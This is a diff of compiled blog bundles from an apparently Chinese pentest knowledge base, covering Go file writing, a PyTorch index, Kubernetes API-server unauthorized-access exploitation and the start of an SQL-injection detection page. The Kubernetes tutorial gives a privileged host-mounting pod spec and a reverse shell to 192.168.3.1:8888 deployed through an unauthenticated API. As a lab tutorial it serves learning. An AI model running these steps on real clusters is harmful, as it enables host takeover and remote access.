,children:'func main() {\n\tfile, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\tstr := "hello \u6c99\u6cb3"\n\tfile.Write([]byte(str)) //\u5199\u5165\u5b57\u8282\u5207\u7247\u6570\u636e\n\tfile.WriteString("hello \u5c0f\u738b\u5b50") //\u76f4\u63a5\u5199\u5165\u5b57\u7b26\u4e32\u6570\u636e\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"bufionewwriter",children:"bufio.NewWriter"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\tfile, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\twriter := bufio.NewWriter(file)\n\tfor i := 0; i < 10; i++ {\n\t\twriter.WriteString("hello\u6c99\u6cb3\\n") //\u5c06\u6570\u636e\u5148\u5199\u5165\u7f13\u5b58\n\t}\n\twriter.Flush() //\u5c06\u7f13\u5b58\u4e2d\u7684\u5185\u5bb9\u5199\u5165\u6587\u4ef6\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"ioutilwritefile",children:"ioutil.WriteFile"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\tstr := "hello \u6c99\u6cb3"\n\terr := ioutil.WriteFile("./xx.txt", []byte(str), 0666)\n\tif err != nil {\n\t\tfmt.Println("write file failed, err:", err)\n\t\treturn\n\t}\n}\n'})})]})}function f(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/7250c14a.8ef8eff3.js b/en/assets/js/7250c14a.8ef8eff3.js new file mode 100644 index 0000000..07dbf62 --- /dev/null +++ b/en/assets/js/7250c14a.8ef8eff3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8818],{8167:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>l,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README","title":"\u7b2c\u4e00\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"},"next":{"title":"1.1 PyTorch\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"}}');var s=n(74848),c=n(28453);const l={},i="\u7b2c\u4e00\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e00\u7ae0",children:"\u7b2c\u4e00\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e00\u7ae0pytorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5",children:"\u7b2c\u4e00\u7ae0\uff1aPyTorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n1.1 PyTorch\u7b80\u4ecb\n1.2 PyTorch\u7684\u5b89\u88c5\n1.3 PyTorch\u76f8\u5173\u8d44\u6e90\n"})})]})}function a(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var r=n(96540);const s={},c=r.createContext(s);function l(e){const t=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),r.createElement(c.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/72f16780.67058863.js b/en/assets/js/72f16780.67058863.js new file mode 100644 index 0000000..a860a71 --- /dev/null +++ b/en/assets/js/72f16780.67058863.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8030],{3492:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","title":"Apiserver","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/01.ApiServer.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/01.ApiServer.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"},"next":{"title":"etcd","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd"}}');var t=s(74848),l=s(28453);const i={},c="Apiserver",a={},d=[{value:"kubectl\u5229\u7528",id:"kubectl\u5229\u7528",level:2},{value:"Api \u5229\u7528",id:"api-\u5229\u7528",level:2},{value:"\u7ed3\u8bba",id:"\u7ed3\u8bba",level:2}];function o(e){const n={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"apiserver",children:"Apiserver"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:30"})]})})]}),"\n",(0,t.jsxs)(n.p,{children:["API \u670d\u52a1\u5668\u662f Kubernetes ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/glossary/?all=true#term-control-plane",children:"\u63a7\u5236\u5e73\u9762"}),"\u7684\u7ec4\u4ef6\uff0c \u8be5\u7ec4\u4ef6\u8d1f\u8d23\u516c\u5f00\u4e86 Kubernetes API\uff0c\u8d1f\u8d23\u5904\u7406\u63a5\u53d7\u8bf7\u6c42\u7684\u5de5\u4f5c\u3002 API \u670d\u52a1\u5668\u662f Kubernetes \u63a7\u5236\u5e73\u9762\u7684\u524d\u7aef\u3002Kubernetes API \u670d\u52a1\u5668\u7684\u4e3b\u8981\u5b9e\u73b0\u662f ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kube-apiserver/",children:"kube-apiserver"}),"\u3002 ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u8bbe\u8ba1\u4e0a\u8003\u8651\u4e86\u6c34\u5e73\u6269\u7f29\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u53ef\u901a\u8fc7\u90e8\u7f72\u591a\u4e2a\u5b9e\u4f8b\u6765\u8fdb\u884c\u6269\u7f29\u3002 \u4f60\u53ef\u4ee5\u8fd0\u884c ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u7684\u591a\u4e2a\u5b9e\u4f8b\uff0c\u5e76\u5728\u8fd9\u4e9b\u5b9e\u4f8b\u4e4b\u95f4\u5e73\u8861\u6d41\u91cf\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u4ee5\u4e0a\u662fk8s\u5b98\u65b9\u5bf9",(0,t.jsx)(n.code,{children:"apiserver"}),"\u7684\u89e3\u91ca\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230 ",(0,t.jsx)(n.code,{children:"apiserver"})," \u5176\u5b9e\u5c31\u662f\u4e3a\u4e86\u7edf\u4e00\u65b9\u4fbf\u7ba1\u7406\u3002 \u90e8\u7f72\u8fc7k8s\u90fd\u77e5\u9053\u8c03\u7528",(0,t.jsx)(n.code,{children:"apiserver"}),"\u7684\u547d\u4ee4\u884c\u5de5\u5177\u5c31\u662f",(0,t.jsx)(n.code,{children:"kubectl"}),"\uff0c\u4f8b\u5982\u5728\u4e3b\u673a\u6267\u884c ",(0,t.jsx)(n.code,{children:"kubectl get pods -A"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072231736.png",alt:"image-20230707223132174"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5176\u5b9e\u5c31\u662f\u53ef\u4ee5\u7406\u89e3\u4e3a \u8c03\u7528 api ",(0,t.jsx)(n.code,{children:"/api/v1/pods/"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072232250.png",alt:"image-20230707223255087"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u7684 ",(0,t.jsx)(n.a,{href:"",children:"\u542f\u52a8\u53c2\u6570"}),(0,t.jsx)(n.del,{children:"\u76ee\u524d\u5b98\u65b9\u6587\u6863\u4e2d\u6ca1\u6709\u5bf9\u8fd9\u4e2a\u53c2\u6570\u7684\u89e3\u91ca\u4e86"}),"\u4e2d \u5b58\u5728\u4e24\u4e2a\u53c2\u6570 ",(0,t.jsx)(n.code,{children:"insecure"}),"\u3001",(0,t.jsx)(n.code,{children:"insecure-bind-address"})," \u8be5\u53c2\u6570\u53ef\u5c06\u672a\u6388\u6743\u7684\u7aef\u53e3\u66b4\u9732\u51fa\u6765"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kube-apiserver --h\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072341464.png",alt:"image-20230707234104496"})}),"\n",(0,t.jsx)(n.p,{children:"\u6216\u8005\u7ba1\u7406\u5458\u914d\u7f6e\u4e86\u533f\u540d\u8bbf\u95ee\uff0c\u4f8b\u5982"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"[root@k8s-master01 k8s.yaml]# cat rbac.yaml \napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: anonymous-access\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\nsubjects:\n- kind: Group\n name: system:unauthenticated\n[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml\n"})}),"\n",(0,t.jsx)(n.h2,{id:"kubectl\u5229\u7528",children:"kubectl\u5229\u7528"}),"\n",(0,t.jsx)(n.p,{children:"\u5b89\u88c5 kubectl"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # \u5b89\u88c5\u6307\u5b9a\u7248\u672c\ncurl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5236\u4f5c\u6076\u610f\u5bb9\u5668``shell.yaml`"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'# shell.yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: shell-pod\n # namespace: nginx # \u4e0d\u6307\u5b9a\u5219\u4e3a\u9ed8\u8ba4\u7a7a\u95f4 default\nspec:\n containers:\n - name: my-container # \u5bb9\u5668\u540d\u79f0 \n image: nginx # \u955c\u50cf\n command: ["tail", "-f", "/dev/null"] # \u4e0d\u5173\u95ed\u8fdb\u7a0b\n securityContext:\n privileged: true # \u7279\u6743\u6a21\u5f0f\n volumeMounts: # \u6302\u8f7d\u6570\u636e\u5377 / -> /hosts\n - name: root-volume \n mountPath: /hosts\n volumes:\n - name: root-volume\n hostPath:\n path: /\n nodeName: k8s-master01 # \u9009\u62e9\u5bbf\u4e3b\u673a \u53ef\u4ee5\u4e0d\u9009\u62e9 \u4fdd\u6301\u9ed8\u8ba4\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u542f\u52a8\u3001\u5e76\u67e5\u770b"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kubectl -s http://192.168.3.200:8080 apply -f shell.yaml\nkubectl -s http://192.168.3.200:8080 get po -A\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316500.png",alt:"image-20230707230304985"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fdb\u5165\u5bb9\u5668"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kubectl -s http://192.168.3.200:8080 exec -it <\u5bb9\u5668\u540d\u79f0> -n <\u547d\u540d\u7a7a\u95f4> -- bash \nroot@shell-pod:/# whoami\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316581.png",alt:"image-20230707230045674"})}),"\n",(0,t.jsx)(n.h2,{id:"api-\u5229\u7528",children:"Api \u5229\u7528"}),"\n",(0,t.jsxs)(n.p,{children:["\u5236\u4f5c\u6076\u610f",(0,t.jsx)(n.a,{href:"re-shell.json",children:"\u5bb9\u5668\u6587\u4ef6"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:'{\n "apiVersion": "v1",\n "kind": "Pod",\n "metadata": {\n "name": "re-shell-pod"\n },\n "spec": {\n "containers": [\n {\n "name": "re-shell-pod",\n "image": "nginx",\n "command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],\n "securityContext": {\n "privileged": true\n },\n "volumeMounts": [\n {\n "name": "root-volume",\n "mountPath": "/hosts"\n }\n ]\n }\n ],\n "volumes": [\n {\n "name": "root-volume",\n "hostPath": {\n "path": "/"\n }\n }\n ],\n "nodeName": "k8s-master01"\n }\n}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u65b0\u5efa\u6076\u610f\u5bb9\u5668"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<\u547d\u540d\u7a7a\u95f4>/pods\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316006.png",alt:"image-20230707231610327"})}),"\n",(0,t.jsx)(n.p,{children:"\u67e5\u770b\u72b6\u6001"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072345177.png",alt:"image-20230707232122633"})}),"\n",(0,t.jsx)(n.p,{children:"\u76d1\u542c\u53cd\u5f39shell\u7aef\u53e3"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072323246.png",alt:"image-20230707232204596"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7ed3\u8bba",children:"\u7ed3\u8bba"}),"\n",(0,t.jsx)(n.p,{children:"\u200b\t\u5bf9\u4e8e\u8fd9\u7c7b\u5229\u7528\u4ec5\u4ec5\u5728\u4e8e apiserver \u672a\u914d\u7f6e\u8ba4\u8bc1\u7684\u6e05\u7a7a\u4e0b\uff0c\u800c\u76ee\u524d\u7684\u73af\u5883\u4e0d\u592a\u53ef\u80fd\u5c06\u4e0d\u5b89\u5168\u7684\u7aef\u53e3\u7206\u7834\u51fa\u6765\uff0c\u800c\u4e14\u6700\u65b0\u7248\u672c\u4e5f\u5bf9\u8fd9\u4e24\u4e2a\u53c2\u6570\u4e5f\u6ca1\u6709\u518d\u89e3\u91ca\u5f88\u96be\u53bb\u5229\u7528\u672a\u6388\u6743"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u66f4\u591a\u5229\u7528\u65b9\u5f0f\u770b\u5b98\u65b9\u6587\u6863\u5373\u53ef ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/",children:"Kubernetes API"})]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u200b"})]})}function h(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>c});var r=s(96540);const t={},l=r.createContext(t);function i(e){const n=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),r.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/74b0aab5.4e05167e.js b/en/assets/js/74b0aab5.4e05167e.js new file mode 100644 index 0000000..add099b --- /dev/null +++ b/en/assets/js/74b0aab5.4e05167e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5701],{28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>i});var t=s(96540);const d={},r=t.createContext(d);function c(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:c(e.components),t.createElement(r.Provider,{value:n},e.children)}},46675:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","title":"\u6ce8\u5165\u5224\u65ad","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/01.\u6ce8\u5165\u5224\u65ad.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/01.\u6ce8\u5165\u5224\u65ad.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SQL\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"},"next":{"title":"\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b"}}');var d=s(74848),r=s(28453);const c={},i="\u6ce8\u5165\u5224\u65ad",l={},o=[{value:"\u6ce8\u5165\u5224\u65ad",id:"\u6ce8\u5165\u5224\u65ad-1",level:2}];function h(e){const n={blockquote:"blockquote",br:"br",code:"code",h1:"h1",h2:"h2",header:"header",li:"li",ol:"ol",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"\u6ce8\u5165\u5224\u65ad",children:"\u6ce8\u5165\u5224\u65ad"})}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,d.jsx)(n.p,{children:"\u6316\u6398SQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u7b2c\u4e00\u6b65\uff0c\u5c31\u662f\u53d1\u73b0SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u53ea\u6709\u53d1\u73b0\u4e86\u6ce8\u5165\u70b9\u624d\u80fd\u591f\u7ee7\u7eed\u6df1\u5165\u5229\u7528\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u6765\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u6700\u7b80\u5355\u7684\u5c31\u662f\u76f4\u63a5\u5728\u53c2\u6570\u540e\u52a0\u4e0a",(0,d.jsx)(n.code,{children:"'"}),"\u6216\u8005",(0,d.jsx)(n.code,{children:'"'}),"\u7b49\u7279\u6b8a\u5b57\u7b26\u8ba9web\u5e94\u7528\u7a0b\u5e8f\u629b\u51fa\u5f02\u5e38\uff1b\u4f46\u8fd9\u79cd\u60c5\u51b5\u5df2\u7ecf\u5f88\u5c11\u89c1\u4e86\uff0c\u6bd4\u8f83\u597d\u7684\u65b9\u6cd5\u662f\u901a\u8fc7\u76f2\u6ce8\u6765\u8fdb\u884c\u5224\u65ad\uff1b"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6ce8\u5165\u5224\u65ad-1",children:"\u6ce8\u5165\u5224\u65ad"}),"\n",(0,d.jsx)(n.p,{children:"\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6ce8\u5165\u4e00\u822c\u901a\u8fc7\u4e24\u79cd\u65b9\u5f0f\u6765\u5224\u65ad\uff1a"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u8f93\u5165\u7279\u6b8a\u5b57\u7b26\u662f\u5426\u629b\u51fa\u76f8\u5173\u7684\u5f02\u5e38"}),"\n",(0,d.jsx)(n.li,{children:"\u8f93\u5165\u4e00\u4e9b\u8bed\u53e5\u8fd0\u884c\u540e\u662f\u5426\u8fbe\u5230\u6211\u4eec\u9884\u671f\u7684\u7ed3\u679c\uff08\u8fd4\u56de\u5185\u5bb9\u3001\u54cd\u5e94\u65f6\u95f4\u7b49\uff09"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u7c7b\u578b"}),(0,d.jsx)(n.th,{children:"\u8bed\u53e5\u548c\u7ed3\u679c"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u7279\u6b8a\u5b57\u7b26"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"'"})," ==> \u629b\u51fa\u5f02\u5e38"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:"\u903b\u8f91\u7b97\u6570\u6d4b\u8bd5"}),(0,d.jsxs)(n.td,{children:["id=",(0,d.jsx)(n.code,{children:"' and 